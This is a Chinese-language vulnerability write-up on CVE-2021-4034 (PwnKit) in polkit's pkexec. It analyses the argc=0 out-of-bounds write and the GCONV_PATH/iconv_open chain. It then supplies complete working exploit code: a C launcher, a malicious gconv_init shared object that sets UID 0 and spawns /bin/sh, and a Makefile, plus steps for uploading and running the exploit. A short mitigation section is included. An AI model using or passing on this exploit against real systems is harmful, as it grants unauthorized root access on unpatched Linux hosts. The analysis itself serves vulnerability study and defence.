漏洞介绍
pkexec本身是用来授权用户以其他身份执行程序,他具备suid属性,但由于常规功能下不支持直接执行命令,无法利用于suid提权。
pkexec是polkit (默认安装的系统服务)这个套件的程序。
CVE-2021-3560 利用的dbus-send,这次是 CVE-2021-4034 利用的 pkexec,上次影响的<=0.113版本,这次影响全部版本。
漏洞影响
Ubuntu、Debian、Fedora 和 CentOS 等默认安装pkexec,均受影响
安全版本
暂时无吧
pkexec --version查看版本
漏洞分析
https://github.com/wingo/polkit/blob/master/src/programs/pkexec.c
简单来讲,就是越界读写,导致不安全的环境变量写入,这种越界写入允许我们重新引入一个 将“不安全”环境变量(例如 LD_PRELOAD)放入 pkexec 的 环境; 如果是正常设置环境变量,这些“不安全”变量通常会被删除(通过 ld.so)
如GCONV_PATH就是不安全的环境变量,因为他会导致任意so执行。同时pkexec是一个默认具有suid属性的程序,如果能让其执行命令,那么就能导致suid提权了。
所以利用中允许我们绕过过滤写入GCONV_PATH,然后设置gconv-modules文件,触发字符集转换,调用iconv_open加载对应字符集的so文件。
如下是pkexec的部分代码,问题在于如果用execve调用pkexec时,如果args[] = {NULL}
,传入到pkexec时,argc=0,但argv[]={NULL},这个时候argv会占用一个char字符。
534行:for循环argc=0,所以不会进入循环,但n已经设置成1
610行:argv[1]赋值给path
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | 435 main (int argc, char *argv[]) 436 { ... 534 for (n = 1; n < (guint) argc; n++) 535 { ... 568 } ... 610 path = g_strdup (argv[n]); ... 629 if (path[0] != '/') 630 { ... 632 s = g_find_program_in_path (path); ... 639 argv[n] = path = s; 640 } |
execve调用新进程的堆栈如下,argv和envp是连续的,这就会导致argv[1]=envp[0]
如果按照上面的代码逻辑,如果传入的命令不是绝对路径,就会在 PATH 环境变量的目录里搜索,在赋值回argv
argv[0] | "program" |
---|---|
argv[1] | "option" |
… | |
argv[argc] | NULL |
envp[0] | "value" |
envp[1] | "PATH=name" |
… | |
envp[envc] | NULL |
比如我调用execve时,将环境变量设置成
1 2 | envp[0] = 'pwnkit.so:.' envp[1] = 'PATH=GCONV_PATH=.' |
610行:path = 'pwnkit.so:.'
632行:s = 'GCONV_PATH=./pwnkit.so:.'
这里说明下,因为PATH=xxx,设置一个新的搜索目录,我只需要创建一个名为'GCONV_PATH=.'的目录,并在该目录下创建任意一个叫'pwnkit.so:.'的程序即可通过g_find_program_in_path(path)
搜索到该文件
639行:argv[1] = envp[0] = 'GCONV_PATH=./pwnkit.so:.'
到此为止,我们就顺利的将GCONV_PATH写入到环境变量中绕过过滤了。注意这里要的是:
后面的.
,用于加载当前目录下的gconv-modules,前面pwnkit.so叫啥都行
接下来的工作就是怎么触发iconv_open调用,以及iconv_open的利用链构造
在pkexec调用g_printerr打印错误日志时,如果CHARSET设置成非UTF-8的其他字符集(CHARSET不是敏感变量,不会被过滤),就会触发iconv_open调用
来看一下iconv_open函数的执行过程:
- iconv_open函数首先会找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置。
- 然后再根据gconv-modules文件的指示去链接参数对应的.so文件。
- 之后会调用.so文件中的gconv()与gonv_init()函数。
- 然后就是一些与本漏洞利用无关的步骤。
linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:
- iconv_open函数依照GCONV_PATH找到gconv-modules文件。
- 根据gconv-modules文件的指示找到参数对应的.so文件。
- 调用.so文件中的gconv()和gonv_init()函数。
- 一些其他步骤。
上面这个技巧其实也在php disable function bypass里用过
至于怎么触发错误日志呢,比如pkexec里的validate_environment_variable ,这个函数会校验SHELL或XAUTHORITY环境变量是否有效,如果校验错误,就会调用g_printerr,进而触发iconv_open的调用。
举例
1 2 | XAUTHORITY=../xxxxxx SHELL=/bin/bashxxxxx |
[
](https://blog.csdn.net/qq_42303523/article/details/117911859)
根据上面分析,就需要四个文件
主程序:构造环境变量,通过execve调用pkexec
恶意so文件:包含gconv_init和gconv两个函数,用于执行任意恶意代码
gconv-modules:设置需要加载的so文件
中间目录:'GCONV_PATH=./pwnkit.so:.'
主程序如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | #include <unistd.h> int main(int argc, char **argv) { char * const args[] = { NULL }; char * const environ[] = { "xxxx:.", "PATH=GCONV_PATH=.", "SHELL=/bin/bashxxxx", // XAUTHORITY=../xxxxxx "CHARSET=PWNKIT", NULL }; return execve("/usr/bin/pkexec", args, environ); } |
so如下,这里setuid等等,是为了linux高版本保证Effective UID和Real UID一致。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> void gconv(void) { } void gconv_init(void *step) { setuid(0); seteuid(0); setgid(0); setegid(0); char * const args[] = { "/bin/sh", "-pi", NULL }; char * const environ[] = { "PATH=/bin:/usr/bin:/sbin", NULL }; execve(args[0], args, environ); exit(0); } |
Makefile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | CFLAGS=-Wall TRUE=$(shell which true) .PHONY: all all: pwnkit.so cve-2021-4034 gconv-modules gconvpath .PHONY: clean clean: rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./ gconv-modules: echo "module UTF-8// PWNKIT// pwnkit 1" > $@ .PHONY: gconvpath gconvpath: mkdir -p GCONV_PATH=. cp $(TRUE) GCONV_PATH=./pppp:. pwnkit.so: pwnkit.c $(CC) $(CFLAGS) --shared -fPIC -o $@ $< |
其他环境变量是否也能利用,就需要进一步分析了,下面是不安全的环境变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | #define UNSECURE_ENVVARS \ 5 "GCONV_PATH\0" \ 6 "GETCONF_DIR\0" \ 7 "HOSTALIASES\0" \ 8 "LD_AUDIT\0" \ 9 "LD_DEBUG\0" \ 10 "LD_DEBUG_OUTPUT\0" \ 11 "LD_DYNAMIC_WEAK\0" \ 12 "LD_LIBRARY_PATH\0" \ 13 "LD_ORIGIN_PATH\0" \ 14 "LD_PRELOAD\0" \ 15 "LD_PROFILE\0" \ 16 "LD_SHOW_AUXV\0" \ 17 "LD_USE_LOAD_BIAS\0" \ 18 "LOCALDOMAIN\0" \ 19 "LOCPATH\0" \ 20 "MALLOC_TRACE\0" \ 21 "NIS_PATH\0" \ 22 "NLSPATH\0" \ 23 "RESOLV_HOST_CONF\0" \ 24 "RES_OPTIONS\0" \ 25 "TMPDIR\0" \ 26 "TZDIR\0" |
补充
https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.115/src/programs/pkexec.c
0.114+的版本中,在main函数里面多加了一句setenv,这个setenv,如果GIO_USE_VFS
不存在,会在堆里重新申请内存,并把环境变量从栈迁移堆,导致无法构造越界读写。所以调用pkexec时多添加一个环境变量GIO_USE_VFS
即可。
漏洞利用
查看pkexec版本
1 | pkexec --version |
先尝试上传编译好的
1 2 | rz cve.tar.gz tar -zxvf cve.tar.gz |
执行会获取到一个/bin/sh的交互程序
1 | ./cve-2021-4034 |
如果编译的无法执行,可以上传源码make,注意这里拷贝/usr/bin/true,还可能是/bin/true,根据情况改动
生成文件如下
如果执行不成功可以检查下pkexec的suid属性
1 | ls -alt /usr/bin/pkexec |
报错
1 2 3 | GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT” The value for the SHELL variable was not found the /etc/shells file This incident has been reported |
1 | echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules |
修复建议
缓解措施,因为最终利用的是suid提权,所以只要去掉suid即可
chmod 0755 /usr/bin/pkexec
参考链接
分析 https://mp.weixin.qq.com/s/3rnkcRfX_BxzlVzp0stQRw
利用 https://haxx.in/files/blasty-vs-pkexec.c
利用 https://github.com/berdav/CVE-2021-4034
https://mp.weixin.qq.com/s/bM20T1b39J5MHS14sdLikg
其他注意事项
[
](https://github.com/berdav/CVE-2021-4034)